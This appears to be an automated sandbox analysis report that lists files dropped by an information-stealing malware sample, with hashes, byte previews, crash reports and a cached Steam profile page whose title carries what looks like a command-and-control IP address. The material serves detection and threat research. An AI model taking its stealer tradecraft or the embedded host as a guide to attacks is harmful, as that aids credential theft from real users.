C:\ProgramData\AFCBAEBAEBFH\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: BI6oo9z4In.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: btCbrSS2Je.exe, Detection: malicious, Browse Filename: 7urUz64I0Y.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PWS.Steam.37259.28451.11337.exe, Detection: malicious, Browse Filename: a6lzHWp4pa.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFCBAEBAEBFH\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: BI6oo9z4In.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: btCbrSS2Je.exe, Detection: malicious, Browse Filename: 7urUz64I0Y.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.PWS.Steam.37259.28451.11337.exe, Detection: malicious, Browse Filename: a6lzHWp4pa.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFCBAEBAEBFH\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\AFCBAEBAEBFH\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFCBAEBAEBFH\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFCBAEBAEBFH\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_PZQ0BTUPVU0ZFE5I_8451756f91de466bdbe5221a687bc26178a06a_ac844944_5fcda2fd-16a2-440e-898a-8104453ba001\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.066159737600463
Encrypted:	false
SSDEEP:	192:rp88kXkY340BU/aa6FOzuiFYZ24IO8Il:d88kXkYjBU/aaBzuiFYY4IO8Il
MD5:	49A07728795917A93AA5A985337B0480
SHA1:	CA48FC30A630C6BC8EFF9DAC0CD102F9EAC687C4
SHA-256:	08CA2D44D6F9D27386B2DB062073D09FEF20698628ED97BD1043EF0FD30FED0B
SHA-512:	E67D99DDC07714DA83366A6BA89D477854C53C9D7BAC4E962BA16F0707CB9E8A76C42978B641F41038EBA55D22E56AB79E4C0E46A9817819E0D2D38423F4A990
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.1.0.1.2.8.2.0.3.3.3.9.6.9.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.1.0.1.2.8.2.1.5.3.7.0.9.7.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.f.c.d.a.2.f.d.-.1.6.a.2.-.4.4.0.e.-.8.9.8.a.-.8.1.0.4.4.5.3.b.a.0.0.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.1.3.a.9.1.1.1.-.6.c.a.e.-.4.4.0.c.-.8.f.8.c.-.9.5.5.7.2.f.9.8.3.c.d.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...W.i.n.3.2...M.a.l.w.a.r.e.-.g.e.n...1.9.8...6.5.1.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.p.o.r.t.a.b.l.e.n.e.w.e.u.r.o.p.e._.h.u.b.8...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.b.4.-.0.0.0.1.-.0.0.1.4.-.0.5.8.c.-.5.6.2.5.b.4.a.d.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.f.8.4.8.7.0.0.a.d.3.a.9.5.7.3.a.8.3.7.2.1.3.d.1.6.f.9.f.e.2.6.0.0.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER74E4.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Fri May 24 08:27:00 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	220569
Entropy (8bit):	3.561915889160963
Encrypted:	false
SSDEEP:	1536:+/pr4xIuBojRdpN4uE2aOhO5LTgViSVXoy2A8uf0hxOCDXtTAhZ4a8lT:+x3R4uEqheLTgwyCzN9i4H
MD5:	0CF4D34E47FEE0FB97EE37308722874C
SHA1:	370A32D5E588E7640D670D0D8299EED4FD7B8F51
SHA-256:	133BE8A9AA2567599B0B0A03998DA1F589E1E1351BCF94FEB016082729780DC8
SHA-512:	DB1D1C5AA588C865F79E8A85C6AD5687B19395975BFF672379B449244D3333910866B541D22D3218806449B17E9D86BEF98CA2FE338D90D8A5BA0D7F4238575E
Malicious:	false
Preview:	MDMP..a..... .......TOPf........................`...(.......$...............tJ..........`.......8...........T...........0+..i2.......................!..............................................................................eJ......0"......GenuineIntel............T...........SOPf.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER75EF.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8520
Entropy (8bit):	3.7038570432957667
Encrypted:	false
SSDEEP:	192:R6l7wVeJYc6K6Y9vSU9y+sgmfZxU+prj89baLysfAdUzm:R6lXJT6K6YFSU9y+sgmfvUnaLxfAaq
MD5:	F6AB8B0A2CAB1C6DCE1F202453E8A7B6
SHA1:	1496AE207D3D7C0000FA4F7E29AF8DB75A29F474
SHA-256:	DE6FC0E148E5291FB9B0316DF91F3FA4B1B73ADDE9BFB2B2BA407D4F9BBB8F7F
SHA-512:	1B8C0A18EACB91DB07A7A7DB0C81ED0D6D902768EB3CED99C799D652E5EC62922F854BC1DC1D5ED3BB161A1B4DEA2134C595F2BBC369727688C8E02D148D6567
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.5.8.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER760F.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4911
Entropy (8bit):	4.569597999494528
Encrypted:	false
SSDEEP:	48:cvIwWl8zs5uJg77aI9vMWpW8VYuoYm8M4J+bF4QsFjf+q8vybF4Qtv4uX3d:uIjfyI7Nl7VjJ+pOKypdAuX3d
MD5:	B48BBD3B14487E20904911964CE31941
SHA1:	F6D30B992AC4F7EDC888E3C4DB78F7A45913A4D6
SHA-256:	F4656C8EBDE285001D96B8AC10B748E131AAA536903515577B847F9DF3D0B0B2
SHA-512:	7EB3B5BEF04453DC70640237682524D28D8C3596333C0C1A6702325A9533BA9A5A9B9DC25F4572B81B9E2AE5145CB425B0D37BE2CFB05B829CAFF47D8EE970DE
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="336929" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.log

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	522
Entropy (8bit):	5.358731107079437
Encrypted:	false
SSDEEP:	12:Q3La/hz92n4M9tDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:MLU84qpE4KlKDE4KhKiKhk
MD5:	93E4C46884CB6EE7CDCC4AACE78CDFAC
SHA1:	29B12D9409BA9AFE4C949F02F7D232233C0B5228
SHA-256:	2690023A62F22AB7B27B09351205BA31173B50B77ACA89A5759EDF29A1FB17F7
SHA-512:	E9C3E2FCEE4E13F7776665295A4F6085002913E011BEEF32C8E7065140937DDE1963182B547CC75110BF32AE5130A6686D5862076D5FFED9241F183B9217FA4D
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\76561199689717899[1].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3063), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	35682
Entropy (8bit):	5.381184679792834
Encrypted:	false
SSDEEP:	768:j7pqLtWYmwt5D0gqOciNGA7PzzgiJmDzJtxvrfukPco1AUmPzzgiJmDzJtxvJ2Sm:j78LtWYmwt5D0gqOcc7PzzgiJmDzJtxy
MD5:	282216A64AA95276028CEEB327AEF8C0
SHA1:	7415E650299D80FEC055F870FC3B9D9D93AA5376
SHA-256:	E06A684F09A37740DDF459699B254332FBAFC7D13182D434BB4642BE63549A01
SHA-512:	9A1DA25B0866FF28CEC347AA1B4E30CB5614E6CF02EE3559469483918DFE630A2E2A4B66694F98B2929394EA54F6C7AF763B73C7B14F1937118E2CAE66198136
Malicious:	false
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: r0is https://78.47.123.174\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=E0c90DJSB6Ld&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/css/globalv2.cs

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqls[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
